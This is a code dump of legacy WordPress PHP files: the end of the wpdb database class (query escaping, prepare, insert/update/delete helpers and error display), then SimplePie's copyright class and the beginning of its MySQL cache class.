break; case 'ms_global' : $tables = $this->ms_global_tables; break; case 'old' : $tables = $this->old_tables; break; default : return array(); break; } if ( $prefix ) { if ( ! $blog_id ) $blog_id = $this->blogid; $blog_prefix = $this->get_blog_prefix( $blog_id ); $base_prefix = $this->base_prefix; $global_tables = array_merge( $this->global_tables, $this->ms_global_tables ); foreach ( $tables as $k => $table ) { if ( in_array( $table, $global_tables ) ) $tables[ $table ] = $base_prefix . $table; else $tables[ $table ] = $blog_prefix . $table; unset( $tables[ $k ] ); } if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) $tables['users'] = CUSTOM_USER_TABLE; if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) $tables['usermeta'] = CUSTOM_USER_META_TABLE; } return $tables; } /** * Selects a database using the current database connection. * * The database name will be changed based on the current database * connection. On failure, the execution will bail and display an DB error. * * @since 0.71 * * @param string $db MySQL database name * @param resource $dbh Optional link identifier. * @return null Always null. */ function select( $db, $dbh = null ) { if ( is_null($dbh) ) $dbh = $this->dbh; if ( !@mysql_select_db( $db, $dbh ) ) { $this->ready = false; wp_load_translations_early(); $this->bail( sprintf( __( '<h1>Can&#8217;t select database</h1> <p>We were able to connect to the database server (which means your username and password is okay) but not able to select the <code>%1$s</code> database.</p> <ul> <li>Are you sure it exists?</li> <li>Does the user <code>%2$s</code> have permission to use the <code>%1$s</code> database?</li> <li>On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?</li> </ul> <p>If you don\'t know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="http://wordpress.org/support/">WordPress Support Forums</a>.</p>' ), htmlspecialchars( $db, ENT_QUOTES ), htmlspecialchars( $this->dbuser, ENT_QUOTES ) ), 'db_select_fail' ); return; } } /** * Weak escape, using addslashes() * * @see addslashes() * @since 2.8.0 * @access private * * @param string $string * @return string */ function _weak_escape( $string ) { return addslashes( $string ); } /** * Real escape, using mysql_real_escape_string() or addslashes() * * @see mysql_real_escape_string() * @see addslashes() * @since 2.8.0 * @access private * * @param string $string to escape * @return string escaped */ function _real_escape( $string ) { if ( $this->dbh && $this->real_escape ) return mysql_real_escape_string( $string, $this->dbh ); else return addslashes( $string ); } /** * Escape data. Works on arrays. * * @uses wpdb::_escape() * @uses wpdb::_real_escape() * @since 2.8.0 * @access private * * @param string|array $data * @return string|array escaped */ function _escape( $data ) { if ( is_array( $data ) ) { foreach ( (array) $data as $k => $v ) { if ( is_array($v) ) $data[$k] = $this->_escape( $v ); else $data[$k] = $this->_real_escape( $v ); } } else { $data = $this->_real_escape( $data ); } return $data; } /** * Escapes content for insertion into the database using addslashes(), for security. * * Works on arrays. * * @since 0.71 * @param string|array $data to escape * @return string|array escaped as query safe string */ function escape( $data ) { if ( is_array( $data ) ) { foreach ( (array) $data as $k => $v ) { if ( is_array( $v ) ) $data[$k] = $this->escape( $v ); else $data[$k] = $this->_weak_escape( $v ); } } else { $data = $this->_weak_escape( $data ); } return $data; } /** * Escapes content by reference for insertion into the database, for security * * @uses wpdb::_real_escape() * @since 2.3.0 * @param string $string to escape * @return void */ function escape_by_ref( &$string ) { if ( ! is_float( $string ) ) $string = $this->_real_escape( $string ); } /** * Prepares a SQL query for safe execution. Uses sprintf()-like syntax. * * The following directives can be used in the query format string: * %d (integer) * %f (float) * %s (string) * %% (literal percentage sign - no argument needed) * * All of %d, %f, and %s are to be left unquoted in the query string and they need an argument passed for them. * Literals (%) as parts of the query must be properly written as %%. * * This function only supports a small subset of the sprintf syntax; it only supports %d (integer), %f (float), and %s (string). * Does not support sign, padding, alignment, width or precision specifiers. * Does not support argument numbering/swapping. * * May be called like {@link http://php.net/sprintf sprintf()} or like {@link http://php.net/vsprintf vsprintf()}. * * Both %d and %s should be left unquoted in the query string. * * <code> * wpdb::prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d", 'foo', 1337 ) * wpdb::prepare( "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", 'foo' ); * </code> * * @link http://php.net/sprintf Description of syntax. * @since 2.3.0 * * @param string $query Query statement with sprintf()-like placeholders * @param array|mixed $args The array of variables to substitute into the query's placeholders if being called like * {@link http://php.net/vsprintf vsprintf()}, or the first variable to substitute into the query's placeholders if * being called like {@link http://php.net/sprintf sprintf()}. * @param mixed $args,... further variables to substitute into the query's placeholders if being called like * {@link http://php.net/sprintf sprintf()}. * @return null|false|string Sanitized query string, null if there is no query, false if there is an error and string * if there was something to prepare */ function prepare( $query, $args ) { if ( is_null( $query ) ) return; $args = func_get_args(); array_shift( $args ); // If args were passed as an array (as in vsprintf), move them up if ( isset( $args[0] ) && is_array($args[0]) ) $args = $args[0]; $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s array_walk( $args, array( $this, 'escape_by_ref' ) ); return @vsprintf( $query, $args ); } /** * Print SQL/DB error. * * @since 0.71 * @global array $EZSQL_ERROR Stores error information of query and error string * * @param string $str The error to display * @return bool False if the showing of errors is disabled. */ function print_error( $str = '' ) { global $EZSQL_ERROR; if ( !$str ) $str = mysql_error( $this->dbh ); $EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str ); if ( $this->suppress_errors ) return false; wp_load_translations_early(); if ( $caller = $this->get_caller() ) $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s made by %3$s' ), $str, $this->last_query, $caller ); else $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s' ), $str, $this->last_query ); error_log( $error_str ); // Are we showing errors? if ( ! $this->show_errors ) return false; // If there is an error then take note of it if ( is_multisite() ) { $msg = "WordPress database error: [$str]\n{$this->last_query}\n"; if ( defined( 'ERRORLOGFILE' ) ) error_log( $msg, 3, ERRORLOGFILE ); if ( defined( 'DIEONDBERROR' ) ) wp_die( $msg ); } else { $str = htmlspecialchars( $str, ENT_QUOTES ); $query = htmlspecialchars( $this->last_query, ENT_QUOTES ); print "<div id='error'> <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br /> <code>$query</code></p> </div>"; } } /** * Enables showing of database errors. * * This function should be used only to enable showing of errors. * wpdb::hide_errors() should be used instead for hiding of errors. However, * this function can be used to enable and disable showing of database * errors. * * @since 0.71 * @see wpdb::hide_errors() * * @param bool $show Whether to show or hide errors * @return bool Old value for showing errors. */ function show_errors( $show = true ) { $errors = $this->show_errors; $this->show_errors = $show; return $errors; } /** * Disables showing of database errors. * * By default database errors are not shown. * * @since 0.71 * @see wpdb::show_errors() * * @return bool Whether showing of errors was active */ function hide_errors() { $show = $this->show_errors; $this->show_errors = false; return $show; } /** * Whether to suppress database errors. * * By default database errors are suppressed, with a simple * call to this function they can be enabled. * * @since 2.5.0 * @see wpdb::hide_errors() * @param bool $suppress Optional. New value. Defaults to true. * @return bool Old value */ function suppress_errors( $suppress = true ) { $errors = $this->suppress_errors; $this->suppress_errors = (bool) $suppress; return $errors; } /** * Kill cached query results. * * @since 0.71 * @return void */ function flush() { $this->last_result = array(); $this->col_info = null; $this->last_query = null; if ( is_resource( $this->result ) ) mysql_free_result( $this->result ); } /** * Connect to and select database * * @since 3.0.0 */ function db_connect() { $this->is_mysql = true; $new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true; $client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0; if ( WP_DEBUG ) { $this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } else { $this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } if ( !$this->dbh ) { wp_load_translations_early(); $this->bail( sprintf( __( " <h1>Error establishing a database connection</h1> <p>This either means that the username and password information in your <code>wp-config.php</code> file is incorrect or we can't contact the database server at <code>%s</code>. This could mean your host's database server is down.</p> <ul> <li>Are you sure you have the correct username and password?</li> <li>Are you sure that you have typed the correct hostname?</li> <li>Are you sure that the database server is running?</li> </ul> <p>If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href='http://wordpress.org/support/'>WordPress Support Forums</a>.</p> " ), htmlspecialchars( $this->dbhost, ENT_QUOTES ) ), 'db_connect_fail' ); return; } $this->set_charset( $this->dbh ); $this->ready = true; $this->select( $this->dbname, $this->dbh ); } /** * Perform a MySQL database query, using current database connection. * * More information can be found on the codex page. * * @since 0.71 * * @param string $query Database query * @return int|false Number of rows affected/selected or false on error */ function query( $query ) { if ( ! $this->ready ) return false; // some queries are made before the plugins have been loaded, and thus cannot be filtered with this method $query = apply_filters( 'query', $query ); $return_val = 0; $this->flush(); // Log how the function was called $this->func_call = "\$db->query(\"$query\")"; // Keep track of the last query for debug.. $this->last_query = $query; if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) $this->timer_start(); $this->result = @mysql_query( $query, $this->dbh ); $this->num_queries++; if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) $this->queries[] = array( $query, $this->timer_stop(), $this->get_caller() ); // If there is an error then take note of it.. if ( $this->last_error = mysql_error( $this->dbh ) ) { $this->print_error(); return false; } if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) { $return_val = $this->result; } elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) { $this->rows_affected = mysql_affected_rows( $this->dbh ); // Take note of the insert_id if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) { $this->insert_id = mysql_insert_id($this->dbh); } // Return number of rows affected $return_val = $this->rows_affected; } else { $num_rows = 0; while ( $row = @mysql_fetch_object( $this->result ) ) { $this->last_result[$num_rows] = $row; $num_rows++; } // Log number of rows the query returned // and return number of rows selected $this->num_rows = $num_rows; $return_val = $num_rows; } return $return_val; } /** * Insert a row into a table. * * <code> * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * </code> * * @since 2.5.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table table name * @param array $data Data to insert (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @return int|false The number of rows inserted, or false on error. */ function insert( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' ); } /** * Replace a row into a table. * * <code> * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * </code> * * @since 3.0.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table table name * @param array $data Data to insert (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @return int|false The number of rows affected, or false on error. */ function replace( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' ); } /** * Helper function for insert and replace. * * Runs an insert or replace query based on $type argument. * * @access private * @since 3.0.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table table name * @param array $data Data to insert (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @param string $type Optional. What type of operation is this? INSERT or REPLACE. Defaults to INSERT. * @return int|false The number of rows affected, or false on error. */ function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) { if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ) ) ) return false; $formats = $format = (array) $format; $fields = array_keys( $data ); $formatted_fields = array(); foreach ( $fields as $field ) { if ( !empty( $format ) ) $form = ( $form = array_shift( $formats ) ) ? $form : $format[0]; elseif ( isset( $this->field_types[$field] ) ) $form = $this->field_types[$field]; else $form = '%s'; $formatted_fields[] = $form; } $sql = "{$type} INTO `$table` (`" . implode( '`,`', $fields ) . "`) VALUES (" . implode( ",", $formatted_fields ) . ")"; return $this->query( $this->prepare( $sql, $data ) ); } /** * Update a row in the table * * <code> * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) ) * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) ) * </code> * * @since 2.5.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table table name * @param array $data Data to update (in column => value pairs). Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array $where A named array of WHERE clauses (in column => value pairs). Multiple clauses will be joined with ANDs. Both $where columns and $where values should be "raw". * @param array|string $format Optional. An array of formats to be mapped to each of the values in $data. If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. If string, that format will be used for all of the items in $where. A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $where will be treated as strings. * @return int|false The number of rows updated, or false on error. */ function update( $table, $data, $where, $format = null, $where_format = null ) { if ( ! is_array( $data ) || ! is_array( $where ) ) return false; $formats = $format = (array) $format; $bits = $wheres = array(); foreach ( (array) array_keys( $data ) as $field ) { if ( !empty( $format ) ) $form = ( $form = array_shift( $formats ) ) ? $form : $format[0]; elseif ( isset($this->field_types[$field]) ) $form = $this->field_types[$field]; else $form = '%s'; $bits[] = "`$field` = {$form}"; } $where_formats = $where_format = (array) $where_format; foreach ( (array) array_keys( $where ) as $field ) { if ( !empty( $where_format ) ) $form = ( $form = array_shift( $where_formats ) ) ? $form : $where_format[0]; elseif ( isset( $this->field_types[$field] ) ) $form = $this->field_types[$field]; else $form = '%s'; $wheres[] = "`$field` = {$form}"; } $sql = "UPDATE `$table` SET " . implode( ', ', $bits ) . ' WHERE ' . implode( ' AND ', $wheres ); return $this->query( $this->prepare( $sql, array_merge( array_values( $data ), array_values( $where ) ) ) ); } /** * Delete a row in the table * * <code> * wpdb::delete( 'table', array( 'ID' => 1 ) ) * wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) ) * </code> * * @since 3.4.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table table name * @param array $where A named array of WHERE clauses (in column => value pairs). Multiple clauses will be joined with ANDs. Both $where columns and $where values should be "raw". * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. If string, that format will be used for all of the items in $where. A format is one of '%d', '%f', '%s' (integer, float, string). If omitted, all values in $where will be treated as strings unless otherwise specified in wpdb::$field_types. * @return int|false The number of rows updated, or false on error. */ function delete( $table, $where, $where_format = null ) { if ( ! is_array( $where ) ) return false; $bits = $wheres = array(); $where_formats = $where_format = (array) $where_format; foreach ( array_keys( $where ) as $field ) { if ( !empty( $where_format ) ) { $form = ( $form = array_shift( $where_formats ) ) ? $form : $where_format[0]; } elseif ( isset( $this->field_types[ $field ] ) ) { $form = $this->field_types[ $field ]; } else { $form = '%s'; } $wheres[] = "$field = $form"; } $sql = "DELETE FROM $table WHERE " . implode( ' AND ', $wheres ); return $this->query( $this->prepare( $sql, $where ) ); } /** * Retrieve one variable from the database. * * Executes a SQL query and returns the value from the SQL result. * If the SQL result contains more than one column and/or more than one row, this function returns the value in the column and row specified. * If $query is null, this function returns the value in the specified column and row from the previous SQL result. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query. * @param int $x Optional. Column of value to return. Indexed from 0. * @param int $y Optional. Row of value to return. Indexed from 0. * @return string|null Database query result (as string), or null on failure */ function get_var( $query = null, $x = 0, $y = 0 ) { $this->func_call = "\$db->get_var(\"$query\", $x, $y)"; if ( $query ) $this->query( $query ); // Extract var out of cached results based x,y vals if ( !empty( $this->last_result[$y] ) ) { $values = array_values( get_object_vars( $this->last_result[$y] ) ); } // If there is a value return it else return null return ( isset( $values[$x] ) && $values[$x] !== '' ) ? $values[$x] : null; } /** * Retrieve one row from the database. * * Executes a SQL query and returns the row from the SQL result. * * @since 0.71 * * @param string|null $query SQL query. * @param string $output Optional. one of ARRAY_A | ARRAY_N | OBJECT constants. Return an associative array (column => value, ...), * a numerically indexed array (0 => value, ...) or an object ( ->column = value ), respectively. * @param int $y Optional. Row to return. Indexed from 0. * @return mixed Database query result in format specified by $output or null on failure */ function get_row( $query = null, $output = OBJECT, $y = 0 ) { $this->func_call = "\$db->get_row(\"$query\",$output,$y)"; if ( $query ) $this->query( $query ); else return null; if ( !isset( $this->last_result[$y] ) ) return null; if ( $output == OBJECT ) { return $this->last_result[$y] ? $this->last_result[$y] : null; } elseif ( $output == ARRAY_A ) { return $this->last_result[$y] ? get_object_vars( $this->last_result[$y] ) : null; } elseif ( $output == ARRAY_N ) { return $this->last_result[$y] ? array_values( get_object_vars( $this->last_result[$y] ) ) : null; } else { $this->print_error( " \$db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N" ); } } /** * Retrieve one column from the database. * * Executes a SQL query and returns the column from the SQL result. * If the SQL result contains more than one column, this function returns the column specified. * If $query is null, this function returns the specified column from the previous SQL result. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to previous query. * @param int $x Optional. Column to return. Indexed from 0. * @return array Database query result. Array indexed from 0 by SQL result row number. */ function get_col( $query = null , $x = 0 ) { if ( $query ) $this->query( $query ); $new_array = array(); // Extract the column values for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) { $new_array[$i] = $this->get_var( null, $x, $i ); } return $new_array; } /** * Retrieve an entire SQL result set from the database (i.e., many rows) * * Executes a SQL query and returns the entire SQL result. * * @since 0.71 * * @param string $query SQL query. * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants. With one of the first three, return an array of rows indexed from 0 by SQL result row number. * Each row is an associative array (column => value, ...), a numerically indexed array (0 => value, ...), or an object. ( ->column = value ), respectively. * With OBJECT_K, return an associative array of row objects keyed by the value of each row's first column's value. Duplicate keys are discarded. * @return mixed Database query results */ function get_results( $query = null, $output = OBJECT ) { $this->func_call = "\$db->get_results(\"$query\", $output)"; if ( $query ) $this->query( $query ); else return null; $new_array = array(); if ( $output == OBJECT ) { // Return an integer-keyed array of row objects return $this->last_result; } elseif ( $output == OBJECT_K ) { // Return an array of row objects with keys from column 1 // (Duplicates are discarded) foreach ( $this->last_result as $row ) { $var_by_ref = get_object_vars( $row ); $key = array_shift( $var_by_ref ); if ( ! isset( $new_array[ $key ] ) ) $new_array[ $key ] = $row; } return $new_array; } elseif ( $output == ARRAY_A || $output == ARRAY_N ) { // Return an integer-keyed array of... if ( $this->last_result ) { foreach( (array) $this->last_result as $row ) { if ( $output == ARRAY_N ) { // ...integer-keyed row arrays $new_array[] = array_values( get_object_vars( $row ) ); } else { // ...column name-keyed row arrays $new_array[] = get_object_vars( $row ); } } } return $new_array; } return null; } /** * Load the column metadata from the last query. * * @since 3.5.0 * * @access protected */ protected function load_col_info() { if ( $this->col_info ) return; for ( $i = 0; $i < @mysql_num_fields( $this->result ); $i++ ) { $this->col_info[ $i ] = @mysql_fetch_field( $this->result, $i ); } } /** * Retrieve column metadata from the last query. * * @since 0.71 * * @param string $info_type Optional. Type one of name, table, def, max_length, not_null, primary_key, multiple_key, unique_key, numeric, blob, type, unsigned, zerofill * @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. 3: if the col is numeric. 4: col's type * @return mixed Column Results */ function get_col_info( $info_type = 'name', $col_offset = -1 ) { $this->load_col_info(); if ( $this->col_info ) { if ( $col_offset == -1 ) { $i = 0; $new_array = array(); foreach( (array) $this->col_info as $col ) { $new_array[$i] = $col->{$info_type}; $i++; } return $new_array; } else { return $this->col_info[$col_offset]->{$info_type}; } } } /** * Starts the timer, for debugging purposes. * * @since 1.5.0 * * @return true */ function timer_start() { $this->time_start = microtime( true ); return true; } /** * Stops the debugging timer. * * @since 1.5.0 * * @return float Total time spent on the query, in seconds */ function timer_stop() { return ( microtime( true ) - $this->time_start ); } /** * Wraps errors in a nice header and footer and dies. * * Will not die if wpdb::$show_errors is false. * * @since 1.5.0 * * @param string $message The Error message * @param string $error_code Optional. A Computer readable string to identify the error. * @return false|void */ function bail( $message, $error_code = '500' ) { if ( !$this->show_errors ) { if ( class_exists( 'WP_Error' ) ) $this->error = new WP_Error($error_code, $message); else $this->error = $message; return false; } wp_die($message); } /** * Whether MySQL database is at least the required minimum version. * * @since 2.5.0 * @uses $wp_version * @uses $required_mysql_version * * @return WP_Error */ function check_database_version() { global $wp_version, $required_mysql_version; // Make sure the server has the required MySQL version if ( version_compare($this->db_version(), $required_mysql_version, '<') ) return new WP_Error('database_version', sprintf( __( '<strong>ERROR</strong>: WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version )); } /** * Whether the database supports collation. * * Called when WordPress is generating the table scheme. * * @since 2.5.0 * @deprecated 3.5.0 * @deprecated Use wpdb::has_cap( 'collation' ) * * @return bool True if collation is supported, false if version does not */ function supports_collation() { _deprecated_function( __FUNCTION__, '3.5', 'wpdb::has_cap( \'collation\' )' ); return $this->has_cap( 'collation' ); } /** * The database character collate. * * @since 3.5.0 * * @return string The database character collate. */ public function get_charset_collate() { $charset_collate = ''; if ( ! empty( $this->charset ) ) $charset_collate = "DEFAULT CHARACTER SET $this->charset"; if ( ! empty( $this->collate ) ) $charset_collate .= " COLLATE $this->collate"; return $charset_collate; } /** * Determine if a database supports a particular feature * * @since 2.7.0 * @see wpdb::db_version() * * @param string $db_cap the feature * @return bool */ function has_cap( $db_cap ) { $version = $this->db_version(); switch ( strtolower( $db_cap ) ) { case 'collation' : // @since 2.5.0 case 'group_concat' : // @since 2.7 case 'subqueries' : // @since 2.7 return version_compare( $version, '4.1', '>=' ); case 'set_charset' : return version_compare($version, '5.0.7', '>='); }; return false; } /** * Retrieve the name of the function that called wpdb. * * Searches up the list of functions until it reaches * the one that would most logically had called this method. * * @since 2.5.0 * * @return string The name of the calling function */ function get_caller() { return wp_debug_backtrace_summary( __CLASS__ ); } /** * The database version number. * * @since 2.7.0 * * @return false|string false on failure, version number on success */ function db_version() { return preg_replace( '/[^0-9.].*/', '', mysql_get_server_info( $this->dbh ) ); } }
zyblog
trunk/zyblog/wp-includes/wp-db.php
PHP
asf20
47,144
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages `<media:copyright>` copyright tags as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_copyright()} * * This class can be overloaded with {@see SimplePie::set_copyright_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Copyright { /** * Copyright URL * * @var string * @see get_url() */ var $url; /** * Attribution * * @var string * @see get_attribution() */ var $label; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($url = null, $label = null) { $this->url = $url; $this->label = $label; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the copyright URL * * @return string|null URL to copyright information */ public function get_url() { if ($this->url !== null) { return $this->url; } else { return null; } } /** * Get the attribution text * * @return string|null */ public function get_attribution() { if ($this->label !== null) { return $this->label; } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Copyright.php
PHP
asf20
3,367
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Caches data to a MySQL database * * Registered for URLs with the "mysql" protocol * * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will * connect to the `mydb` database on `localhost` on port 3306, with the user * `root` and the password `password`. All tables will be prefixed with `sp_` * * @package SimplePie * @subpackage Caching */ class SimplePie_Cache_MySQL extends SimplePie_Cache_DB { /** * PDO instance * * @var PDO */ protected $mysql; /** * Options * * @var array */ protected $options; /** * Cache ID * * @var string */ protected $id; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type) { $this->options = array( 'user' => null, 'pass' => null, 'host' => '127.0.0.1', 'port' => '3306', 'path' => '', 'extras' => array( 'prefix' => '', ), ); $this->options = array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location)); // Path is prefixed with a "/" $this->options['dbname'] = substr($this->options['path'], 1); try { $this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8')); } catch (PDOException $e) { $this->mysql = null; return; } $this->id = $name . $type; if (!$query = $this->mysql->query('SHOW TABLES')) { $this->mysql = null; return; } $db = array(); while ($row = $query->fetchColumn()) { $db[] = $row; } if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))'); if ($query === false) { $this->mysql = null; } 